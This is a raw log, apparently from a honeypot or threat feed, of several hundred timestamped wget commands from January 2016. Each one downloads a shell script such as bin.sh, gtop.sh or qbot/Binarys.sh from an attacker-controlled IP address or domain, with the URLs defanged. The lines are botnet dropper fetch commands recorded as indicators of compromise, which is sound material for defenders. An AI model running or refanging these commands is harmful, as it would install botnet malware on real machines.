2016-01-13 02:46:30 | wget hxxp:// 23.89.158.69/gtop . sh
2016-01-13 02:26:53 | wget hxxp:// 89.248.166.131/bin . sh
2016-01-13 02:11:42 | wget hxxp:// 208.67.1.142/qbot/Binarys . sh
2016-01-13 01:20:37 | wget hxxp:// 23.89.158.69/gtop . sh
2016-01-13 01:17:04 | wget hxxp:// 89.248.166.131/bin . sh
2016-01-13 00:35:44 | wget hxxp:// 192.227.177.127/gtop . sh
2016-01-13 00:27:29 | wget www.hongcherng.com/bc/bc . sh-O /tmp/ich . sh
2016-01-12 23:46:54 | wget hxxp:// 208.67.1.142/qbot/Binarys . sh
2016-01-12 21:44:13 | wget hxxp:// 192.227.170.67/bins . sh
2016-01-12 20:25:49 | wget hxxp:// 192.227.177.127/gtop . sh
2016-01-12 16:53:10 | wget hxxp:// 208.67.1.3/DOGDICKS/Binarys . sh
2016-01-12 16:43:17 | wget hxxp:// 208.67.1.3/DOGDICKS/Binarys . sh
2016-01-12 16:20:13 | wget hxxp:// 208.67.1.3/DOGDICKS/Binarys . sh
2016-01-12 16:10:29 | wget hxxp:// 208.67.1.3/DOGDICKS/Binarys . sh
2016-01-12 14:53:17 | wget hxxp:// 208.67.1.3/DOGDICKS/Binarys . sh
2016-01-12 14:43:17 | wget hxxp:// 208.67.1.3/DOGDICKS/Binarys . sh
2016-01-12 13:02:02 | wget hxxp:// 208.67.1.3/DOGDICKS/Binarys . sh
2016-01-12 12:52:07 | wget hxxp:// 208.67.1.3/DOGDICKS/Binarys . sh
2016-01-12 11:30:47 | wget hxxp:// 185.130.5.246/bin3 . sh
2016-01-12 11:22:14 | wget hxxp:// 185.130.5.246/bin3 . sh
2016-01-12 11:22:14 | wget hxxp:// 185.130.5.246/bin3 . sh
2016-01-12 11:04:48 | wget hxxp:// 185.130.5.246/bin3 . sh
2016-01-12 11:04:48 | wget hxxp:// 185.130.5.246/bin3 . sh
2016-01-12 10:50:42 | wget hxxp:// 185.130.5.246/bin3 . sh
2016-01-12 10:50:29 | wget hxxp:// 185.130.5.246/bin3 . sh
2016-01-12 08:50:05 | wget hxxp:// 89.248.166.131/bin . sh
2016-01-12 07:53:17 | wget hxxp:// 89.248.166.131/bin . sh
2016-01-12 05:53:28 | wget hxxp:// 173.242.119.122/lol . sh
2016-01-12 04:49:52 | wget hxxp:// 208.67.1.3/DOGDICKS/Binarys . sh
2016-01-12 04:40:07 | wget hxxp:// 208.67.1.3/DOGDICKS/Binarys . sh
2016-01-12 04:31:34 | wget hxxp:// 89.248.166.131/bin . sh
2016-01-12 03:29:42 | wget hxxp:// 89.248.166.131/bin . sh
2016-01-12 02:14:17 | wget hxxp:// 23.89.158.69/gtop . sh
2016-01-12 02:14:11 | wget hxxp:// 23.89.158.69/gtop . sh
2016-01-12 01:45:01 | wget hxxp:// 23.89.158.69/gtop . sh
2016-01-11 23:11:53 | wget hxxp:// 185.130.5.246/bin3 . sh
2016-01-11 23:02:44 | wget hxxp:// 185.130.5.246/bin3 . sh
2016-01-11 23:02:43 | wget hxxp:// 185.130.5.246/bin3 . sh
2016-01-11 22:45:50 | wget hxxp:// 185.130.5.246/bin3 . sh
2016-01-11 22:45:50 | wget hxxp:// 185.130.5.246/bin3 . sh
2016-01-11 22:36:13 | wget hxxp:// 192.227.170.67/bins . sh
2016-01-11 22:32:27 | wget hxxp:// 185.130.5.246/bin3 . sh
2016-01-11 22:32:27 | wget hxxp:// 185.130.5.246/bin3 . sh
2016-01-11 21:48:17 | wget hxxp:// 173.242.119.122/lol . sh
2016-01-11 21:48:15 | wget hxxp:// 173.242.119.122/lol . sh
2016-01-11 21:25:01 | wget hxxp:// 173.242.119.122/lol . sh
2016-01-11 21:21:29 | wget hxxp:// 208.67.1.142/qbot/Binarys . sh
2016-01-11 19:17:44 | wget hxxp:// 192.227.170.67/bins . sh
2016-01-11 18:46:32 | wget hxxp:// 208.67.1.3/DOGDICKS/Binarys . sh
2016-01-11 18:36:28 | wget hxxp:// 208.67.1.3/DOGDICKS/Binarys . sh
2016-01-11 17:50:16 | wget hxxp:// 208.67.1.3/DOGDICKS/Binarys . sh
2016-01-11 17:40:18 | wget hxxp:// 208.67.1.3/DOGDICKS/Binarys . sh
2016-01-11 14:26:05 | wget hxxp:// 208.67.1.142/qbot/Binarys . sh
2016-01-11 14:11:40 | wget hxxp:// 185.130.5.246/bin3 . sh
2016-01-11 14:11:40 | wget hxxp:// 185.130.5.246/bin3 . sh
2016-01-11 14:00:46 | wget hxxp:// 185.130.5.246/bin3 . sh
2016-01-11 14:00:46 | wget hxxp:// 185.130.5.246/bin3 . sh
2016-01-11 13:59:04 | wget hxxp:// 208.67.1.3/DOGDICKS/Binarys . sh
2016-01-11 13:54:43 | wget hxxp:// 185.130.5.246/bin3 . sh
2016-01-11 13:54:42 | wget hxxp:// 185.130.5.246/bin3 . sh
2016-01-11 13:51:42 | wget hxxp:// 185.130.5.246/bin3 . sh
2016-01-11 13:51:42 | wget hxxp:// 185.130.5.246/bin3 . sh
2016-01-11 13:49:10 | wget hxxp:// 208.67.1.3/DOGDICKS/Binarys . sh
2016-01-11 13:44:07 | wget hxxp:// 185.130.5.246/bin3 . sh
2016-01-11 13:44:07 | wget hxxp:// 185.130.5.246/bin3 . sh
2016-01-11 13:34:46 | wget hxxp:// 185.130.5.246/bin3 . sh
2016-01-11 13:34:46 | wget hxxp:// 185.130.5.246/bin3 . sh
2016-01-11 12:25:18 | wget hxxp:// 208.67.1.3/DOGDICKS/Binarys . sh
2016-01-11 12:15:18 | wget hxxp:// 208.67.1.3/DOGDICKS/Binarys . sh
2016-01-11 08:38:34 | wget hxxp:// 185.130.5.246/bin3 . sh
2016-01-11 08:38:33 | wget hxxp:// 185.130.5.246/bin3 . sh
2016-01-11 08:38:20 | wget hxxp:// 185.130.5.246/bin3 . sh
2016-01-11 08:28:25 | wget hxxp:// 185.130.5.246/bin3 . sh
2016-01-11 08:28:25 | wget hxxp:// 185.130.5.246/bin3 . sh
2016-01-11 08:22:59 | wget -q hxxp:// 199.180.133.214/Sharky/gb . sh
2016-01-11 08:22:57 | wget -q hxxp:// 199.180.133.214/Sharky/gb . sh
2016-01-11 08:11:02 | wget hxxp:// 185.130.5.246/bin3 . sh
2016-01-11 08:11:02 | wget hxxp:// 185.130.5.246/bin3 . sh
2016-01-11 07:57:54 | wget hxxp:// 185.130.5.246/bin3 . sh
2016-01-11 07:57:54 | wget hxxp:// 185.130.5.246/bin3 . sh
2016-01-11 07:45:45 | wget hxxp:// 185.130.5.246/bin3 . sh
2016-01-11 07:45:45 | wget hxxp:// 185.130.5.246/bin3 . sh
2016-01-11 07:45:14 | wget hxxp:// 185.130.5.246/bin3 . sh
2016-01-11 07:45:14 | wget hxxp:// 185.130.5.246/bin3 . sh
2016-01-11 07:32:20 | wget hxxp:// 185.130.5.246/bin3 . sh
2016-01-11 07:32:20 | wget hxxp:// 185.130.5.246/bin3 . sh
2016-01-11 06:43:22 | wget hxxp:// 208.67.1.3/DOGDICKS/Binarys . sh
2016-01-11 06:33:26 | wget hxxp:// 208.67.1.3/DOGDICKS/Binarys . sh
2016-01-11 05:45:37 | wget hxxp:// 208.67.1.3/DOGDICKS/Binarys . sh
2016-01-11 05:35:45 | wget hxxp:// 208.67.1.3/DOGDICKS/Binarys . sh
2016-01-11 05:01:02 | wget hxxp:// 208.67.1.3/DOGDICKS/Binarys . sh
2016-01-11 04:51:14 | wget hxxp:// 208.67.1.3/DOGDICKS/Binarys . sh
2016-01-11 03:43:58 | wget hxxp:// 208.67.1.3/DOGDICKS/Binarys . sh
2016-01-11 03:34:21 | wget hxxp:// 208.67.1.3/DOGDICKS/Binarys . sh
2016-01-11 03:06:41 | wget hxxp:// 208.67.1.3/DOGDICKS/Binarys . sh
2016-01-11 02:57:03 | wget hxxp:// 208.67.1.3/DOGDICKS/Binarys . sh
2016-01-11 02:34:40 | wget hxxp:// 208.67.1.3/DOGDICKS/Binarys . sh
2016-01-11 02:25:01 | wget hxxp:// 208.67.1.3/DOGDICKS/Binarys . sh
2016-01-11 01:06:49 | wget hxxp:// 208.67.1.3/DOGDICKS/Binarys . sh
2016-01-11 00:57:03 | wget hxxp:// 208.67.1.3/DOGDICKS/Binarys . sh
2016-01-11 00:49:38 | wget hxxp:// 185.130.5.246/bin3 . sh
2016-01-11 00:42:41 | wget hxxp:// 185.130.5.246/bin3 . sh
2016-01-11 00:42:41 | wget hxxp:// 185.130.5.246/bin3 . sh
2016-01-11 00:34:05 | wget hxxp:// 23.89.158.69/gtop . sh
2016-01-11 00:28:19 | wget hxxp:// 185.130.5.246/bin3 . sh
2016-01-11 00:28:19 | wget hxxp:// 185.130.5.246/bin3 . sh
2016-01-11 00:13:57 | wget hxxp:// 208.67.1.3/DOGDICKS/Binarys . sh
2016-01-11 00:04:14 | wget hxxp:// 208.67.1.3/DOGDICKS/Binarys . sh
2016-01-10 23:18:31 | wget hxxp:// 23.89.158.69/gtop . sh
2016-01-10 23:16:03 | wget hxxp:// 208.67.1.3/DOGDICKS/Binarys . sh
2016-01-10 23:06:26 | wget hxxp:// 208.67.1.3/DOGDICKS/Binarys . sh
2016-01-10 22:31:55 | wget hxxp:// 208.67.1.3/DOGDICKS/Binarys . sh
2016-01-10 21:56:35 | wget hxxp:// 208.67.1.3/DOGDICKS/Binarys . sh
2016-01-10 21:46:49 | wget hxxp:// 208.67.1.3/DOGDICKS/Binarys . sh
2016-01-10 21:11:15 | wget hxxp:// 208.67.1.3/DOGDICKS/Binarys . sh
2016-01-10 21:01:31 | wget hxxp:// 208.67.1.3/DOGDICKS/Binarys . sh
2016-01-10 20:49:46 | wget hxxp:// 208.67.1.3/DOGDICKS/Binarys . sh
2016-01-10 20:40:03 | wget hxxp:// 208.67.1.3/DOGDICKS/Binarys . sh
2016-01-10 20:25:59 | wget hxxp:// 208.67.1.3/DOGDICKS/Binarys . sh
2016-01-10 20:15:10 | wget hxxp:// 208.67.1.3/DOGDICKS/Binarys . sh
2016-01-10 20:14:43 | wget hxxp:// 208.67.1.3/DOGDICKS/Binarys . sh
2016-01-10 20:05:26 | wget hxxp:// 208.67.1.3/DOGDICKS/Binarys . sh
2016-01-10 19:55:46 | wget -q hxxp:// 198.23.238.251/gb . sh
2016-01-10 19:51:09 | wget -q hxxp:// 198.23.238.251/gb . sh
2016-01-10 19:46:55 | wget hxxp:// 192.227.170.67/bins . sh
2016-01-10 19:23:48 | wget -q hxxp:// 198.23.238.251/gb . sh
2016-01-10 19:23:10 | wget hxxp:// 185.130.5.246/bin3 . sh
2016-01-10 19:23:10 | wget hxxp:// 185.130.5.246/bin3 . sh
2016-01-10 19:16:57 | wget hxxp:// 208.67.1.3/DOGDICKS/Binarys . sh
2016-01-10 19:07:02 | wget hxxp:// 208.67.1.3/DOGDICKS/Binarys . sh
2016-01-10 18:48:58 | wget hxxp:// 208.67.1.3/DOGDICKS/Binarys . sh
2016-01-10 18:47:19 | wget hxxp:// 208.67.1.142/qbot/Binarys . sh
2016-01-10 18:39:09 | wget hxxp:// 208.67.1.3/DOGDICKS/Binarys . sh
2016-01-10 18:19:05 | wget hxxp:// 208.67.1.3/DOGDICKS/Binarys . sh
2016-01-10 18:09:15 | wget hxxp:// 208.67.1.3/DOGDICKS/Binarys . sh
2016-01-10 17:45:14 | wget hxxp:// 208.67.1.3/DOGDICKS/Binarys . sh
2016-01-10 17:35:23 | wget hxxp:// 208.67.1.3/DOGDICKS/Binarys . sh
2016-01-10 17:31:07 | wget hxxp:// 185.130.5.246/bin3 . sh
2016-01-10 17:24:01 | wget hxxp:// 185.130.5.246/bin3 . sh
2016-01-10 17:09:50 | wget hxxp:// 185.130.5.246/bin3 . sh
2016-01-10 17:09:50 | wget hxxp:// 185.130.5.246/bin3 . sh
2016-01-10 16:42:04 | wget hxxp:// 208.67.1.3/DOGDICKS/Binarys . sh
2016-01-10 16:32:20 | wget hxxp:// 208.67.1.3/DOGDICKS/Binarys . sh
2016-01-10 15:07:41 | wget hxxp:// 208.67.1.142/qbot/Binarys . sh
2016-01-10 12:18:23 | wget hxxp:// 218.104.49.211/r3/rd . sh-O /tmp/ vira . sh
2016-01-10 07:36:02 | wget hxxp:// 192.227.170.67/bins . sh
2016-01-10 05:19:50 | wget hxxp:// 208.67.1.142/qbot/Binarys . sh
2016-01-10 05:18:36 | wget -q hxxp:// 208.67.1.165/DOGDICKS/Binarys . sh
2016-01-10 04:43:01 | wget hxxp:// 192.227.170.67/bins . sh
2016-01-10 03:24:31 | wget hxxp:// 208.67.1.3/DOGDICKS/Binarys . sh
2016-01-10 03:14:55 | wget hxxp:// 208.67.1.3/DOGDICKS/Binarys . sh
2016-01-10 02:43:30 | wget hxxp:// 218.104.49.211/r3//rd . sh-O /tmp/.lm . sh
2016-01-10 02:34:43 | wget wget hxxp:// 218.104.49.211/r3//rd . sh-O /tmp/.lm . sh
2016-01-10 02:15:50 | wget hxxp:// 23.89.158.69/gtop . sh
2016-01-10 02:13:48 | wget hxxp:// 208.67.1.3/DOGDICKS/Binarys . sh
2016-01-10 02:04:04 | wget hxxp:// 208.67.1.3/DOGDICKS/Binarys . sh
2016-01-10 01:48:43 | wget hxxp:// 208.67.1.3/DOGDICKS/Binarys . sh
2016-01-10 01:39:04 | wget hxxp:// 208.67.1.3/DOGDICKS/Binarys . sh
2016-01-10 01:16:59 | wget hxxp:// 208.67.1.3/DOGDICKS/Binarys . sh
2016-01-10 01:07:17 | wget hxxp:// 208.67.1.3/DOGDICKS/Binarys . sh
2016-01-10 00:42:47 | wget hxxp:// 218.104.49.211/r3/rd . sh-O /tmp/ vira . sh
2016-01-10 00:40:21 | wget hxxp:// 208.67.1.3/DOGDICKS/Binarys . sh
2016-01-10 00:31:26 | wget hxxp:// 192.227.170.67/bins . sh
2016-01-10 00:30:35 | wget hxxp:// 208.67.1.3/DOGDICKS/Binarys . sh
2016-01-10 00:15:46 | wget hxxp:// 218.104.49.211/r3/rd . sh-O /tmp/ vira . sh
2016-01-10 00:05:51 | wget hxxp:// 208.67.1.3/DOGDICKS/Binarys . sh
2016-01-10 00:05:40 | wget hxxp:// 218.104.49.211/r3/rd . sh-O /tmp/ vira . sh
2016-01-10 00:02:25 | wget hxxp:// 94.102.63.136/bin . sh
2016-01-09 23:56:11 | wget hxxp:// 208.67.1.3/DOGDICKS/Binarys . sh
2016-01-09 23:20:55 | wget hxxp:// 192.227.177.127/gtop . sh
2016-01-09 22:43:46 | wget hxxp:// 218.104.49.211/r3/rd . sh-O /tmp/ vira . sh
2016-01-09 22:26:27 | wget hxxp:// 23.89.158.69/gtop . sh
2016-01-09 22:03:05 | wget hxxp:// 23.89.158.69/gtop . sh
2016-01-09 21:18:34 | wget hxxp:// 23.89.158.69/gtop . sh
2016-01-09 20:59:54 | wget hxxp:// 23.89.158.69/gtop . sh
2016-01-09 20:58:33 | wget hxxp:// 208.67.1.3/DOGDICKS/Binarys . sh
2016-01-09 20:57:46 | wget hxxp:// 23.89.158.69/gtop . sh
2016-01-09 20:48:49 | wget hxxp:// 208.67.1.3/DOGDICKS/Binarys . sh
2016-01-09 20:48:28 | wget hxxp:// 185.130.5.246/bin3 . sh
2016-01-09 20:40:57 | wget hxxp:// 185.130.5.246/bin3 . sh
2016-01-09 20:40:57 | wget hxxp:// 185.130.5.246/bin3 . sh
2016-01-09 20:24:46 | wget hxxp:// 23.89.158.69/gtop . sh
2016-01-09 20:24:36 | wget hxxp:// 185.130.5.246/bin3 . sh
2016-01-09 20:24:36 | wget hxxp:// 185.130.5.246/bin3 . sh
2016-01-09 20:11:20 | wget hxxp:// 208.67.1.3/DOGDICKS/Binarys . sh
2016-01-09 20:08:49 | wget hxxp:// 23.89.158.69/gtop . sh
2016-01-09 20:07:05 | wget hxxp:// 192.227.177.127/gtop . sh
2016-01-09 20:01:36 | wget hxxp:// 208.67.1.3/DOGDICKS/Binarys . sh
2016-01-09 18:44:50 | wget hxxp:// 208.67.1.3/DOGDICKS/Binarys . sh
2016-01-09 18:35:12 | wget hxxp:// 208.67.1.3/DOGDICKS/Binarys . sh
2016-01-09 18:13:42 | wget hxxp:// 208.67.1.3/DOGDICKS/Binarys . sh
2016-01-09 18:03:59 | wget hxxp:// 208.67.1.3/DOGDICKS/Binarys . sh
2016-01-09 17:16:47 | wget ftx://51.254.238.19/gb . sh
2016-01-09 14:22:09 | wget hxxp:// 208.67.1.3/DOGDICKS/Binarys . sh
2016-01-09 14:12:07 | wget hxxp:// 208.67.1.3/DOGDICKS/Binarys . sh
2016-01-09 13:25:54 | wget hxxp:// 208.67.1.3/DOGDICKS/Binarys . sh
2016-01-09 13:15:46 | wget hxxp:// 208.67.1.3/DOGDICKS/Binarys . sh
2016-01-09 09:53:33 | wget hxxp:// 23.89.158.69/gtop . sh
2016-01-09 09:42:53 | wget -q hxxp:// 199.180.133.214/Sharky/gb . sh
2016-01-09 09:42:51 | wget -q hxxp:// 199.180.133.214/Sharky/gb . sh
2016-01-09 09:35:50 | wget hxxp:// 158.69.205.212/getbinaries . sh
2016-01-09 08:27:57 | wget hxxp:// 23.89.158.69/gtop . sh
2016-01-09 07:56:56 | wget hxxp:// 23.89.158.69/gtop . sh
2016-01-09 07:48:27 | wget hxxp:// 192.227.177.127/gtop . sh
2016-01-09 06:20:33 | wget hxxp:// 192.227.177.127/gtop . sh
2016-01-09 05:49:03 | wget hxxp:// 208.67.1.3/DOGDICKS/Binarys . sh
2016-01-09 05:39:18 | wget hxxp:// 208.67.1.3/DOGDICKS/Binarys . sh
2016-01-09 05:14:00 | wget hxxp:// 23.89.158.69/gtop . sh
2016-01-09 05:02:32 | wget hxxp:// 185.62.189.11/DOGDICKS/Binarys . sh
2016-01-09 04:52:29 | wget hxxp:// 185.62.189.11/DOGDICKS/Binarys . sh
2016-01-09 04:43:25 | wget hxxp:// 23.89.158.69/gtop . sh
2016-01-09 04:40:06 | wget hxxp:// 185.62.189.11/DOGDICKS/Binarys . sh
2016-01-09 04:30:04 | wget hxxp:// 185.62.189.11/DOGDICKS/Binarys . sh
2016-01-09 04:07:08 | wget hxxp:// 23.89.158.69/gtop . sh
2016-01-09 04:05:31 | wget hxxp:// 23.89.158.69/gtop . sh
2016-01-09 03:44:26 | wget hxxp:// 23.89.158.69/gtop . sh
2016-01-09 03:40:26 | wget hxxp:// 185.62.189.11/DOGDICKS/Binarys . sh
2016-01-09 03:27:09 | wget hxxp:// 23.89.158.69/gtop . sh
2016-01-09 03:27:09 | wget hxxp:// 185.62.189.11/DOGDICKS/Binarys . sh
2016-01-09 03:15:18 | wget hxxp:// 185.62.189.11/DOGDICKS/Binarys . sh
2016-01-09 03:05:34 | wget hxxp:// 185.62.189.11/DOGDICKS/Binarys . sh
2016-01-09 02:57:44 | wget hxxp:// 23.89.158.69/gtop . sh
2016-01-09 02:57:14 | wget hxxp:// 23.89.158.69/gtop . sh
2016-01-09 02:55:39 | wget hxxp:// 185.62.189.11/DOGDICKS/Binarys . sh
2016-01-09 02:44:07 | wget hxxp:// 23.89.158.69/gtop . sh
2016-01-09 02:38:15 | wget hxxp:// 185.62.189.11/DOGDICKS/Binarys . sh
2016-01-09 02:28:29 | wget hxxp:// 185.62.189.11/DOGDICKS/Binarys . sh
2016-01-09 02:04:48 | wget hxxp:// 185.62.189.11/DOGDICKS/Binarys . sh
2016-01-09 01:54:55 | wget hxxp:// 185.62.189.11/DOGDICKS/Binarys . sh
2016-01-09 01:45:07 | wget hxxp:// 23.89.158.69/gtop . sh
2016-01-09 01:23:34 | wget hxxp:// 185.62.189.11/DOGDICKS/Binarys . sh
2016-01-09 01:13:37 | wget hxxp:// 185.62.189.11/DOGDICKS/Binarys . sh
2016-01-09 01:03:32 | wget hxxp:// 23.89.158.69/gtop . sh
2016-01-09 01:02:08 | wget hxxp:// 185.130.5.246/bin3 . sh
2016-01-09 00:55:33 | wget hxxp:// 185.130.5.246/bin3 . sh
2016-01-09 00:55:33 | wget hxxp:// 185.130.5.246/bin3 . sh
2016-01-09 00:51:33 | wget hxxp:// 185.62.189.11/DOGDICKS/Binarys . sh
2016-01-09 00:41:31 | wget hxxp:// 185.62.189.11/DOGDICKS/Binarys . sh
2016-01-09 00:41:29 | wget hxxp:// 185.130.5.246/bin3 . sh
2016-01-09 00:41:29 | wget hxxp:// 185.130.5.246/bin3 . sh
2016-01-09 00:27:11 | wget hxxp:// 23.89.158.69/gtop . sh
2016-01-09 00:26:46 | wget hxxp:// 31.14.136.142/bins . sh
2016-01-09 00:18:20 | wget hxxp:// 185.62.189.11/DOGDICKS/Binarys . sh
2016-01-09 00:08:27 | wget hxxp:// 185.62.189.11/DOGDICKS/Binarys . sh
2016-01-09 00:03:17 | wget hxxp:// 23.89.158.69/gtop . sh
2016-01-08 23:21:30 | wget hxxp:// 185.62.189.11/DOGDICKS/Binarys . sh
2016-01-08 23:11:30 | wget hxxp:// 185.62.189.11/DOGDICKS/Binarys . sh
2016-01-08 22:54:40 | wget hxxp:// 185.62.189.11/DOGDICKS/Binarys . sh
2016-01-08 22:44:47 | wget hxxp:// 185.62.189.11/DOGDICKS/Binarys . sh
2016-01-08 22:01:39 | wget hxxp:// 185.62.189.11/DOGDICKS/Binarys . sh
2016-01-08 21:51:53 | wget hxxp:// 185.62.189.11/DOGDICKS/Binarys . sh
2016-01-08 21:43:27 | wget hxxp:// 208.67.1.3/DOGDICKS/Binarys . sh
2016-01-08 21:25:29 | wget hxxp:// 208.67.1.3/DOGDICKS/Binarys . sh
2016-01-08 21:24:16 | wget hxxp:// 31.14.136.142/bins . sh
2016-01-08 21:15:42 | wget hxxp:// 208.67.1.3/DOGDICKS/Binarys . sh
2016-01-08 21:00:41 | wget hxxp:// 208.67.1.3/DOGDICKS/Binarys . sh
2016-01-08 20:50:57 | wget hxxp:// 208.67.1.3/DOGDICKS/Binarys . sh
2016-01-08 20:33:48 | wget hxxp:// 208.67.1.3/DOGDICKS/Binarys . sh
2016-01-08 20:25:50 | wget ftx://51.254.238.19/gb . sh
2016-01-08 20:24:00 | wget hxxp:// 208.67.1.3/DOGDICKS/Binarys . sh
2016-01-08 19:48:28 | wget hxxp:// 192.227.177.127/gtop . sh
2016-01-08 17:43:31 | wget hxxp:// 208.67.1.3/DOGDICKS/Binarys . sh
2016-01-08 17:33:44 | wget hxxp:// 208.67.1.3/DOGDICKS/Binarys . sh
2016-01-08 17:19:57 | wget hxp://208.67.1.3/DOGDICKS/Binarys . sh
2016-01-08 16:57:53 | wget hxxp:// 208.67.1.142/qbot/Binarys . sh
2016-01-08 16:25:16 | wget ftx://51.254.238.19/gb . sh
2016-01-08 15:39:48 | wget ftx://51.254.238.19/gb . sh
2016-01-08 15:19:47 | wget hxxp:// 208.67.1.3/DOGDICKS/Binarys . sh
2016-01-08 15:09:47 | wget hxxp:// 208.67.1.3/DOGDICKS/Binarys . sh
2016-01-08 14:59:52 | wget ftx://51.254.238.19/gb . sh
2016-01-08 14:29:56 | wget hxxp:// 208.67.1.3/DOGDICKS/Binarys . sh
2016-01-08 14:19:51 | wget hxxp:// 208.67.1.3/DOGDICKS/Binarys . sh
2016-01-08 14:01:43 | wget hxxp:// 185.62.189.11/DOGDICKS/Binarys . sh
2016-01-08 13:51:37 | wget hxxp:// 185.62.189.11/DOGDICKS/Binarys . sh
2016-01-08 13:09:57 | wget hxxp:// 185.130.5.246/bin3 . sh
2016-01-08 13:04:01 | wget hxxp:// 185.130.5.246/bin3 . sh
2016-01-08 13:04:01 | wget hxxp:// 185.130.5.246/bin3 . sh
2016-01-08 12:51:49 | wget hxxp:// 185.130.5.246/bin3 . sh
2016-01-08 12:51:49 | wget hxxp:// 185.130.5.246/bin3 . sh
2016-01-08 12:51:41 | wget hxxp:// 208.67.1.142/qbot/Binarys . sh
2016-01-08 12:32:19 | wget hxxp:// 185.62.189.11/DOGDICKS/Binarys . sh
2016-01-08 12:29:03 | wget hxxp:// 208.67.1.142/qbot/Binarys . sh
2016-01-08 12:22:09 | wget hxxp:// 185.62.189.11/DOGDICKS/Binarys . sh
2016-01-08 12:19:37 | wget hxxp:// 208.67.1.142/qbot/Binarys . sh
2016-01-08 12:07:29 | wget hxxp:// 208.67.1.3/DOGDICKS/Binarys . sh
2016-01-08 10:36:57 | wget hxxp:// 185.62.189.11/DOGDICKS/Binarys . sh
2016-01-08 10:27:09 | wget hxxp:// 185.62.189.11/DOGDICKS/Binarys . sh
2016-01-08 10:07:45 | wget hxxp:// 192.227.177.127/gtop . sh
2016-01-08 09:54:24 | wget hxxp:// 185.62.189.11/DOGDICKS/Binarys . sh
2016-01-08 09:44:30 | wget hxxp:// 185.62.189.11/DOGDICKS/Binarys . sh
2016-01-08 08:43:10 | wget -q hxxp:// 199.180.133.214/Sharky/gb . sh
2016-01-08 08:43:10 | wget -q hxxp:// 199.180.133.214/Sharky/gb . sh
2016-01-08 08:28:11 | wget hxxp:// 185.130.5.246/bin3 . sh
2016-01-08 08:22:13 | wget hxxp:// 185.130.5.246/bin3 . sh
2016-01-08 08:22:13 | wget hxxp:// 185.130.5.246/bin3 . sh
2016-01-08 08:10:03 | wget hxxp:// 185.130.5.246/bin3 . sh
2016-01-08 08:10:03 | wget hxxp:// 185.130.5.246/bin3 . sh
2016-01-08 07:55:58 | wget hxxp:// 185.130.5.246/bin3 . sh
2016-01-08 07:49:47 | wget hxxp:// 185.130.5.246/bin3 . sh
2016-01-08 07:49:47 | wget hxxp:// 185.130.5.246/bin3 . sh
2016-01-08 07:37:24 | wget hxxp:// 185.130.5.246/bin3 . sh
2016-01-08 07:37:24 | wget hxxp:// 185.130.5.246/bin3 . sh
2016-01-08 01:20:08 | wget -q hxxp:// 198.23.238.251/gb . sh
2016-01-08 00:58:02 | wget hxxp:// 185.130.5.246/bin3 . sh
2016-01-08 00:51:41 | wget hxxp:// 185.130.5.246/bin3 . sh
2016-01-08 00:51:41 | wget hxxp:// 185.130.5.246/bin3 . sh
2016-01-08 00:39:26 | wget hxxp:// 185.130.5.246/bin3 . sh
2016-01-08 00:39:26 | wget hxxp:// 185.130.5.246/bin3 . sh
2016-01-07 23:35:21 | wget hxxp:// 185.62.189.11/DOGDICKS/Binarys . sh
2016-01-07 23:25:51 | wget hxxp:// 185.62.189.11/DOGDICKS/Binarys . sh
2016-01-07 23:16:11 | wget hxxp:// 185.62.189.11/DOGDICKS/Binarys . sh
2016-01-07 23:00:56 | wget hxxp:// 185.62.189.11/DOGDICKS/Binarys . sh
2016-01-07 22:51:27 | wget hxxp:// 185.62.189.11/DOGDICKS/Binarys . sh
2016-01-07 21:40:10 | wget hxxp:// 208.67.1.3/DOGDICKS/Binarys . sh
2016-01-07 21:30:41 | wget hxxp:// 208.67.1.3/DOGDICKS/Binarys . sh
2016-01-07 20:09:18 | wget hxxp:// 208.67.1.3/DOGDICKS/Binarys . sh
2016-01-07 19:59:54 | wget hxxp:// 208.67.1.3/DOGDICKS/Binarys . sh
2016-01-07 19:37:00 | wget hxxp:// 192.227.170.67/Binaries . sh
2016-01-07 16:10:32 | wget hxxp:// 192.227.177.127/gtop . sh
2016-01-07 16:09:53 | wget hxxp:// 208.67.1.3/DOGDICKS/Binarys . sh
2016-01-07 15:48:18 | wget hxxp:// 208.67.1.3/DOGDICKS/Binarys . sh
2016-01-07 15:38:35 | wget hxxp:// 208.67.1.3/DOGDICKS/Binarys . sh
2016-01-07 13:53:12 | wget hxxp:// 208.67.1.3/DOGDICKS/Binarys . sh
2016-01-07 13:43:39 | wget hxxp:// 208.67.1.3/DOGDICKS/Binarys . sh
2016-01-07 11:59:09 | wget hxxp:// 185.130.5.246/bin3 . sh
2016-01-07 11:54:25 | wget hxxp:// 185.130.5.246/bin3 . sh
2016-01-07 11:54:25 | wget hxxp:// 185.130.5.246/bin3 . sh
2016-01-07 09:48:59 | wget hxxp:// 185.130.5.246/bin3 . sh
2016-01-07 09:37:39 | wget hxxp:// 185.130.5.246/bin3 . sh
2016-01-07 09:37:39 | wget hxxp:// 185.130.5.246/bin3 . sh
2016-01-07 09:21:25 | wget hxxp:// 185.130.5.246/bin3 . sh
2016-01-07 09:16:12 | wget hxxp:// 185.130.5.246/bin3 . sh
2016-01-07 09:16:11 | wget hxxp:// 185.130.5.246/bin3 . sh
2016-01-07 09:05:52 | wget hxxp:// 208.67.1.3/DOGDICKS/Binarys . sh
2016-01-07 09:03:16 | wget hxxp:// 94.102.53.144/bin . sh
2016-01-07 08:56:09 | wget hxxp:// 208.67.1.3/DOGDICKS/Binarys . sh
2016-01-07 08:29:38 | wget hxxp:// 185.130.5.246/bin . sh
2016-01-07 08:24:46 | wget hxxp:// 185.130.5.246/bin . sh
2016-01-07 08:24:46 | wget hxxp:// 185.130.5.246/bin . sh
2016-01-07 07:45:01 | wget hxxp:// 94.102.53.144/bin . sh
2016-01-07 07:21:11 | wget hxxp:// 185.130.5.246/bin . sh
2016-01-07 07:16:17 | wget hxxp:// 185.130.5.246/bin . sh
2016-01-07 07:16:17 | wget hxxp:// 185.130.5.246/bin . sh
2016-01-07 06:51:29 | wget hxxp:// 185.130.5.246/bin . sh
2016-01-07 06:51:29 | wget hxxp:// 185.130.5.246/bin . sh
2016-01-07 05:33:06 | wget hxxp:// 208.67.1.3/DOGDICKS/Binarys . sh
2016-01-07 05:18:10 | wget hxxp:// 208.67.1.3/DOGDICKS/Binarys . sh
2016-01-07 05:04:59 | wget hxxp:// 94.102.53.144/bin . sh
2016-01-07 03:03:21 | wget hxxp:// 94.102.53.144/bin . sh
2016-01-07 02:55:07 | wget hxxp:// 192.227.177.127/gtop . sh
2016-01-07 02:43:59 | wget hxxp:// 192.227.170.67/Binaries . sh
2016-01-07 02:32:13 | busybox wget hxxp:// 80.82.64.177/fucks . sh
